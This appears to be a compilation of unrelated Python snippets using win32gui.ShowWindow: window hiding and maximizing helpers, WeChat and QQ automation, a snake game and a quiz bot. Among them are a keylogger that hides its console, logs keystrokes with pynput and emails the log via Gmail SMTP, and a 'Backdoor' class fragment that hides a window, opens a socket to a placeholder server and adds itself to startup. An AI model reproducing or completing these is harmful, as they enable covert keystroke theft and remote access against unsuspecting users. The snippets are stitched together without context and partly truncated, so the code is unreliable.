class LASTINPUTINFO(Structure): _fields_ = [ ('cbSize', c_uint), ('dwTime', c_uint), ] def get_idle_duration(): lastInputInfo = LASTINPUTINFO() lastInputInfo.cbSize = sizeof(lastInputInfo) windll.user32.GetLastInputInfo(byref(lastInputInfo)) millis = windll.kernel32.GetTickCount() - lastInputInfo.dwTime return millis / 1000.0 if __name__ == "__main__": GetLastInputInfo = int(get_idle_duration()) print(GetLastInputInfo) if GetLastInputInfo > 180: # if GetLastInputInfo is 8 minutes, play a sound results = [] top_windows = [] win32gui.EnumWindows(windowEnumerationHandler, top_windows) for i in top_windows: if "outlook" in i[1].lower(): print(i) win32gui.ShowWindow(i[0], 3) win32gui.SetForegroundWindow(i[0]) break
def hidden(self): win32gui.ShowWindow(self.handle, win32con.SW_HIDE)
def minimize(self): win32gui.ShowWindow(self.hwnd, win32con.SW_FORCEMINIMIZE)
def hide(self): window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0)
def hibernate(self): win32gui.ShowWindow(self.getHandleOfThisWindow(), 0) self.StatusOfApp = 0
def hide(): import win32console, win32gui window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) return True
import pynput.keyboard import smtplib import time from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText import win32console import win32gui c_window = win32console.GetConsoleWindow() win32gui.ShowWindow(c_window, 0) word_keys = [] log_file = open('log.txt', 'w+') def send_data(): msg = MIMEMultipart() email = "*****@*****.**" password = "******" msg["From"] = email msg["To"] = email msg["Subject"] = "Keylogger test" msg.attach(MIMEText(file("log.txt").read())) try: server = smtplib.SMTP("smtp.gmail.com:587") server.starttls() server.login(email, password) server.sendmail(msg["From"], msg["To"], msg.as_string()) server.quit() except: pass
def maximize_foreground_window(self): """ maximize foreground window. """ hwnd = win32gui.GetForegroundWindow() win32gui.ShowWindow(hwnd, win32con.SW_MAXIMIZE)
def minimize(self): hwnd = self.hwnd if (win32gui.GetForegroundWindow() == hwnd): if (not win32gui.IsIconic(hwnd)): win32gui.ShowWindow(hwnd, win32con.SW_MINIMIZE)
import win32gui import win32con import winxpgui import win32api import subprocess import time hwnd = win32gui.FindWindow(None, "Anaconda Prompt (anaconda3)") win32gui.SetWindowLong( hwnd, win32con.GWL_EXSTYLE, win32gui.GetWindowLong(hwnd, win32con.GWL_EXSTYLE) | win32con.WS_EX_LAYERED) winxpgui.SetLayeredWindowAttributes(hwnd, win32api.RGB(0, 0, 0), 180, win32con.LWA_ALPHA) win32gui.ShowWindow(hwnd, win32con.SW_SHOWMINIMIZED) win32gui.ShowWindow(hwnd, win32con.SW_SHOWMAXIMIZED)
def send_message(): target = '软件学院2020级非全日制' logger.info(f'Target message receiver is: {target}') logger.info(f'获取鼠标当前位置') # 获取鼠标当前位置 # hwnd=win32gui.FindWindow("MozillaWindowClass",None) hwnd = win32gui.FindWindow("WeChatMainWndForPC", None) win32gui.ShowWindow(hwnd, win32con.SW_SHOW) win32gui.MoveWindow(hwnd, 0, 0, 1000, 700, True) time.sleep(0.01) logger.info('开始发送消息') message = '' curr_hour = datetime.now().hour if curr_hour == 0: # 0:00 message = '太阳冉冉升起,清风柔柔吹起。新的一天从打卡开始。' elif curr_hour == 6: # 6:00 message = '人生是一道风景,快乐是一种心情。行动起来,开始打卡吧。' elif curr_hour == 12: # 12:00 message = '中午烈日炎炎,祝你幸运一整天。今天,你打卡了吗?' elif curr_hour == 18: # 18:00 message = '晚上日落西山,祝你快乐在心间。还没打卡的同学要抓紧哦。' logger.info(f'Message is: {message}') # 1.移动鼠标到通讯录位置,单击打开通讯录 logger.info(f'1.移动鼠标到通讯录位置,单击打开通讯录') movePos(28, 147) click() # 2.移动鼠标到搜索框,单击,输入要搜索的名字 logger.info(f'2.移动鼠标到搜索框,单击,输入要搜索的名字') movePos(148, 35) click() setText('文件传输助手') ctrlV() time.sleep(1) # 别问我为什么要停1秒,问就是给微信一个反应的时间,他反应慢反应不过来,其他位置暂停的原因同样 enter() time.sleep(1) # 3.发送打卡程序 logger.info(f'3.发送打卡程序') movePos(788, 360) right_click() movePos(817, 400) click() time.sleep(1) movePos(817, 400) click() time.sleep(1) movePos(478, 169) click() setText(target) ctrlV() time.sleep(1) movePos(651, 255) click() time.sleep(1) movePos(823, 591) click() time.sleep(1) # 4.发送消息 logger.info(f'4.发送消息') # 4.1.移动鼠标到通讯录位置,单击打开通讯录 logger.info(f'4.1.移动鼠标到通讯录位置,单击打开通讯录') movePos(28, 147) click() time.sleep(1) # 4.2.移动鼠标到搜索框,单击,输入要搜索的名字 logger.info(f'4.2.移动鼠标到搜索框,单击,输入要搜索的名字') movePos(148, 35) click() setText(target) ctrlV() time.sleep(1) # 别问我为什么要停1秒,问就是给微信一个反应的时间,他反应慢反应不过来,其他位置暂停的原因同样 enter() time.sleep(1) # 4.3.复制要发送的消息,发送 logger.info(f'4.3.复制要发送的消息,发送') setText(message) ctrlV() altS() logger.info('消息发送成功')
#coding=utf-8 #version:pickit_offical_v2.2,for:闯关王——练兵场 from PIL import Image import ImageGrab import os import hashlib import time import pickle import win32gui import win32con import win32api getbrow = win32gui.FindWindow('Chrome_WidgetWin_1',u'立秋·驾培-闯关王 - Google Chrome') ##定义窗口 win32gui.ShowWindow(getbrow,win32con.SW_RESTORE) ##强行显示界面 win32gui.ShowWindow(getbrow,win32con.SW_MAXIMIZE) ##窗口最大化 win32gui.SetForegroundWindow(getbrow) ##将浏览器窗口提到最前 time.sleep(0.8) #等待窗口完全彈出 #檢查工作目錄 if os.path.isdir('tmp'): pass else: os.mkdir('tmp') #定義元素 hashdict = {} Qbox = (515,470,1020,488) Q2box = (860,500,1050,655)
def Maximize(self): win32gui.ShowWindow(self._hwnd, win32con.SW_MAXIMIZE)
import win32con import win32gui import time while True: winQQ = win32gui.FindWindow("TXGuiFoundation", "QQ") win32gui.ShowWindow(winQQ, win32con.SW_SHOW) time.sleep(1) win32gui.ShowWindow(winQQ, win32con.SW_HIDE) time.sleep(1)
import pygame, sys import win32api, win32console, win32gui, codecs import time, random from pygame.sprite import Sprite pygame.init() win = win32console.GetConsoleWindow() win32gui.ShowWindow(win, 0) white = (255, 255, 255) black = (0, 0, 0) red = (255, 0, 0) green = (0, 155, 0) display_width = 800 display_height = 600 #game display gameDisplay = pygame.display.set_mode((display_width, display_height)) pygame.display.set_caption("Snakey") #game icons icon = pygame.image.load("mouse.png") pygame.display.set_icon(icon) img = pygame.image.load("snake.png") mouseimg = pygame.image.load("mouse.png") clock = pygame.time.Clock() MouseThickness = 30 block_size = 20
import subprocess import json import os import base64 import sys import win32gui import ast import shutil import win32gui, win32con import ast from winreg import * The_program_to_hide = win32gui.GetForegroundWindow() win32gui.ShowWindow(The_program_to_hide , win32con.SW_HIDE) class Backdoor(): def __init__(self,ip,port): try: self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM) self.connection.connect((ip,port)) except Exception: my_backdoor=Backdoor("SERVER IP",PORT NO) my_backdoor.run() self.addStartup() def addStartup(self): if getattr(sys,'frozen', False):
def set_attached_console_visible(state): """Show/hide console window attached to current window This is for Windows platforms only. Requires pywin32 library.""" win32gui.ShowWindow(win32console.GetConsoleWindow(), win32con.SW_SHOW if state else win32con.SW_HIDE)